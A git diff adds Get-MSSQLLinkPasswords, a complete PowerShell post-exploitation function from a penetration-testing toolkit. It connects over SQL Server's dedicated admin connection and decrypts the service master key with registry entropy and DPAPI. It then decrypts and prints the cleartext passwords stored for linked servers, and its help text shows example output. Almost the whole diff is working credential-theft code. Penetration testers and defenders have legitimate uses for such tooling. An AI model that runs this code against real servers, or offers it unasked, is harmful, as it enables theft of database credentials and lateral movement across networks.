diff --git a/PostExploitation/PostExploitation.psm1 b/PostExploitation/PostExploitation.psm1 index 45006e6..ee0d675 100644 --- a/PostExploitation/PostExploitation.psm1 +++ b/PostExploitation/PostExploitation.psm1 @@ -1506,4 +1506,142 @@ function Get-Webconfig Write-Error "Appcmd.exe does not exist in the default location." } +} + +function Get-MSSQLLinkPasswords{ + + <# + .SYNOPSIS + Extract and decrypt MSSQL linked server passwords. + + Author: Antti Rantasaari 2014, NetSPI + License: BSD 3-Clause + + .DESCRIPTION + Get-MSSQLLinkPasswords extracts and decrypts the connection credentials for all linked servers that use SQL Server authentication on all local MSSQL instances. + + .INPUTS + None + + .OUTPUTS + System.Data.DataRow + + Returns a datatable consisting of MSSQL instance name, linked server name, user account, and decrypted password. + + .EXAMPLE + C:\PS> Get-MSSQLLinkPasswords + + Instance Linkserver User Password + -------- ---------- ---- -------- + SQLEXPRESS SQLSERVER2 test test + SQLEXPRESS DEV-SQL dev Passw0rd01! + SQL2012 DEV-SQL dev Passw0rd01! + SQL2012 WEBDB sa W3bDB$4P4ssw0rd + SQL2012 VAULT sa !@#Sup3rS3cr3tP4$$w0rd!!$$ + + .NOTES + For successful execution, the following configurations and privileges are needed: + - DAC connectivity to MSSQL instances + - Local administrator privileges (needed to access registry key) + - Sysadmin privileges to MSSQL instances + + .LINK + http://www.netspi.com/blog/ + #> + Add-Type -assembly System.Security + Add-Type -assembly System.Core + + # Set local computername and get all SQL Server instances + $ComputerName = $Env:computername + $SqlInstances = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server' -Name InstalledInstances).InstalledInstances + + $Results = New-Object "System.Data.DataTable" + $Results.Columns.Add("Instance") | Out-Null + $Results.Columns.Add("Linkserver") | Out-Null + $Results.Columns.Add("User") | Out-Null + $Results.Columns.Add("Password") | Out-Null + + foreach ($InstanceName in $SqlInstances) { + + # Start DAC connection to SQL Server + # Default instance MSSQLSERVER -> instance name cannot be used in connection string + if ($InstanceName -eq "MSSQLSERVER") { + $ConnString = "Server=ADMIN:$ComputerName\;Trusted_Connection=True" + } + else { + $ConnString = "Server=ADMIN:$ComputerName\$InstanceName;Trusted_Connection=True" + } + $Conn = New-Object System.Data.SqlClient.SQLConnection($ConnString); + + Try{$Conn.Open();} + Catch{ + Write-Error "Error creating DAC connection: $_.Exception.Message" + Continue + } + if ($Conn.State -eq "Open"){ + # Query Service Master Key from the database - remove padding from the key + # key_id 102 eq service master key, thumbprint 3 means encrypted with machinekey + $SqlCmd="SELECT substring(crypt_property,9,len(crypt_property)-8) FROM sys.key_encryptions WHERE key_id=102 and (thumbprint=0x03 or thumbprint=0x0300000001)" + $Cmd = New-Object System.Data.SqlClient.SqlCommand($SqlCmd,$Conn); + $SmkBytes=$Cmd.ExecuteScalar() + + # Get entropy from the registry - hopefully finds the right SQL server instance + $RegPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\sql\").$InstanceName + [byte[]]$Entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\$RegPath\Security\").Entropy + + # Decrypt the service master key + $ServiceKey = [System.Security.Cryptography.ProtectedData]::Unprotect($SmkBytes, $Entropy, 'LocalMachine') + + # Choose the encryption algorithm based on the SMK length - 3DES for 2008, AES for 2012 + # Choose IV length based on the algorithm + if (($ServiceKey.Length -eq 16) -or ($ServiceKey.Length -eq 32)) { + if ($ServiceKey.Length -eq 16) { + $Decryptor = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider + $IvLen=8 + } elseif ($ServiceKey.Length -eq 32){ + $Decryptor = New-Object System.Security.Cryptography.AESCryptoServiceProvider + $IvLen=16 + } + + # Query link server password information from the DB + # Remove header from pwdhash, extract IV (as iv) and ciphertext (as pass) + # Ignore links with blank credentials (integrated auth ?) + $SqlCmd = "SELECT sysservers.srvname,syslnklgns.name,substring(syslnklgns.pwdhash,5,$ivlen) iv,substring(syslnklgns.pwdhash,$($ivlen+5), + len(syslnklgns.pwdhash)-$($ivlen+4)) pass FROM master.sys.syslnklgns inner join master.sys.sysservers on syslnklgns.srvid=sysservers.srvid WHERE len(pwdhash)>0" + $Cmd = New-Object System.Data.SqlClient.SqlCommand($SqlCmd,$Conn); + $Data=$Cmd.ExecuteReader() + $Dt = New-Object "System.Data.DataTable" + $Dt.Load($Data) + + # Go through each row in results + foreach ($Logins in $Dt) { + + # decrypt the password using the service master key and the extracted IV + $Decryptor.Padding = "None" + $Decrypt = $Decryptor.CreateDecryptor($ServiceKey,$Logins.iv) + $Stream = New-Object System.IO.MemoryStream (,$Logins.pass) + $Crypto = New-Object System.Security.Cryptography.CryptoStream $Stream,$Decrypt,"Write" + + $Crypto.Write($Logins.pass,0,$Logins.pass.Length) + [byte[]]$Decrypted = $Stream.ToArray() + + # convert decrypted password to unicode + $EncodingType = "System.Text.UnicodeEncoding" + $Encode = New-Object $EncodingType + + # Print results - removing the weird padding (8 bytes in the front, some bytes at the end)... + # Might cause problems but so far seems to work.. may be dependant on SQL server version... + # If problems arise remove the next three lines.. + $i=8 + foreach ($b in $Decrypted) {if ($Decrypted[$i] -ne 0 -and $Decrypted[$i+1] -ne 0 -or $i -eq $Decrypted.Length) {$i -= 1; break;}; $i += 1;} + $Decrypted = $Decrypted[8..$i] + $Results.Rows.Add($InstanceName,$($Logins.srvname),$($Logins.name),$($Encode.GetString($Decrypted))) | Out-Null + } + } else { + Write-Error "Unknown key size" + } + $Conn.Close(); + } + } + $Results } \ No newline at end of file